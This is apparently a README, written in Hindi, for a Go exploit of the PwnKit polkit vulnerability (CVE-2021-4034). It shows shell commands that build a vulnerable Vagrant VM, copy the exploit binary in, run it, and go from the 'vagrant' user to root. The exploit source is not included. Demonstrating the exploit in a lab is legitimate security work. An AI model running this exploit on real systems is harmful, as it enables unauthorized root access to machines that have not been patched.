
PwnKit भेद्यता, CVE-2021-4034 के लिए एक्सप्लॉइट, Go में लिखा गया
यह pwnkit कमजोरी, CVE-2021-4034 के लिए एक कार्यशील एक्सप्लॉइट है, जो Go में लिखा गया है
इसे आज़माएं:
# create a vulnerable vagrant machine
$ make vm
...
# build the binary and scp it to the vagrant box
$ make scp
# ssh onto the vagrant box
$ make ssh
# The default user is "vagrant"
vagrant@ubuntu-focal:~$ whoami
vagrant
# execute exploit
vagrant@ubuntu-focal:/tmp$ cd /tmp && ./pwnkit-go
$ whoami
root